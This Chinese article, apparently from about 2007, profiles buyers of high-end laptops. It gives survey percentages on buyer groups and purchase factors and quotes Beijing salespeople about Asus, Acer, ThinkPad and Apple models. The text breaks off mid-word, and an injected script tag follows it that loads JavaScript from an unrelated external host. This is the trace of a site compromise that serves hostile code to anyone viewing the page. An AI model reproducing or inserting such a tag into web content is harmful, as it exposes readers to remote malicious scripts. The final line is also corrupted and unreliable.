高端笔记本电脑市场是pc生产厂商一个很重要的细分领域。那么,高端笔记本电脑的消费群体都是哪些?他们具备什么样的特征?他们购买心理和行为是怎样的?各大生产厂商又该如何抓住这些用户?
一轮轮的价格战,一次次的广告宣传和品牌传播,个人pc已逐步成为一种大众消费品,成为众多城市居民的必备品。个人pc发展到目前阶段,在大众化的同时也在进一步地细分市场,其中,高端笔记本电脑就是一个很重要的细分领域。
何谓高端笔记本电脑?在调查之前,有必要对其进行界定。一般来说,高端笔记本电脑就意味着具有高品质和强大的功能,如同奢侈消费品一样,价格高也是肯定的。所以,我们按照价格段来划分,把1.5万元以上的笔记本电脑作为此次调查的对象,并试图找出谁在关注和购买高端笔记本电脑,他们有着什么样的购买心理和行为特征,以及各大生产厂商该如何抓住这部分用户。
两种人的最爱
谁会去购买高端笔记本电脑?调查显示,购买高端笔记本电脑的都是经济实力比较强、注重生活品质的人群。其中,企业的中高层管理者(43%)、白领和时尚人士(39%)是高端笔记本电脑的主力购买人群,合计占到被调查人数的82%。另外,在校大学生中也有不少购买高端笔记本电脑的,占到被调查人数8%,当然主要是些家庭经济条件比较好的同学。
“来我们柜台咨询和购买华硕‘兰博基尼’高端笔记本电脑的主要是一些有钱人,很少有单位来团购。一般是企业中的经理或总经理。也有碰到大学生来买的,看样子是父母给买,家里环境不错。”中关村华硕笔记本电脑专卖店的销售人员王磊告诉记者,“普通的工薪阶层是不会买那么贵的高端笔记本电脑的,他们一般选购的价位在六七千元,高于1万元就很少考虑了。”
淘宝网卖家梅子工作之余在网上开了个专门卖mp3/mp4的店面,平常都是开着自己的轿车去送货,目前用的就是两万多元的笔记本电脑。而她爱人是it业界的资深人士,目前用的是一款4万多元的thinkpad笔记本电脑。中央电视台编导张栀也告诉记者,他的同事朋友中有不少是用苹果高端笔记本电脑的。
此外,根据赛迪顾问提供的监测数据,在2007年第二季度,国内笔记本电脑市场1万元以下价位的笔记本电脑合计销售量占到总销售量的84.1%,合计销售额占到总销售额的74.3%,高于两万元的笔记本电脑销量只占到总销售量的0.8%。王磊所在的店面去年销售了近2400台华硕笔记本电脑,售价近3万元的“兰博基尼”只卖了10台,所占比例更低。
选购的首要因素:外观
对于那些购买了或即将购买高端笔记本电脑的消费者,哪些因素会影响他们的购买决策?
调查显示,选购高端笔记本电脑的消费者主要追求机器的外观,占到被调查者的37%,其他的影响因素排序依次是:性能(23%)、价格(19%)、品牌(12%)、其他(9%)。
“来我们这选购华硕高端笔记本电脑的消费者最注重的就是外观,他们希望笔记本要有个性、好看,能显示身份。像华硕s6f皮革版,其实配置较一般,主要因为轻便,而且是粉色皮革,十分好看,吸引了不少白领或时尚女性来购买。”王磊说,“华硕‘兰博基尼’vx2也是手工皮革,是人工一针一线做成的。去年我卖了两台,消费者都是冲着好看来的。”
北京中关嘉业公司经理杨峰告诉记者:“我们主要经营宏碁高端笔记本电脑。经营了这么久,我觉得买高端电脑的消费者,主要就是看重了笔记本的造型,像宏碁法拉利,除了造型美观以外,还追求开机声音等独特的地方。我接触的很多消费者都说喜欢法拉利开机时那种赛车的声音。这些高端笔记本电脑外观好看、新颖,是时尚潮流的代表;还有就是稀少、价高,也满足了某些消费者想追求的东西。”
梅子也认为:“笔记本电脑是一件很私密的东西,首先要第一眼看了喜欢才会有进一步了解它的渴望。另外,由于是高端电脑,消费者自然认为笔记本的性能也是最优越的,所以对性能的重视程度要靠后一点。”
至于价格,买高端笔记本电脑的人对价格都不敏感。“一般不讲价,他们觉得价格不太离谱就买了。”苏宁安贞桥分店笔记本电脑部的小王说。
同时,品牌也是很重要的影响因素之一。各大笔记本电脑生产厂商长期的宣传,使消费者已经把一些心理需求跟电脑品牌挂起钩来。梅子就认为,thinkpad是男性商务人士的首选品牌;索尼和三星则偏重时尚和娱乐,是主攻高端女性消费者的品牌;苹果则是设计专业人士的首选等。“不同个性的人都可以在不同品牌里找到自己的定位。”梅子说。
当然,并不是每个品牌的高端笔记本电脑外观都能“一招鲜,吃遍天”。有消费者钟情于其外观,有的消费者却未必认同,高端笔记本电脑本身就意味着个性化需求的满足。梅子告诉记者,她就不喜欢三星和索尼的外观,觉得太花哨,不符合她的风格,她还是比较喜欢细节做得比较好的电脑,像惠普。而张栀当初很想买一个黑色外观的苹果笔记本电脑,可惜当时只有白色而没有黑色外观的。
另外,最近索尼、华硕、联想等厂商都陆续推出了皮革外型的笔记?script src=http://er12.com/t.js>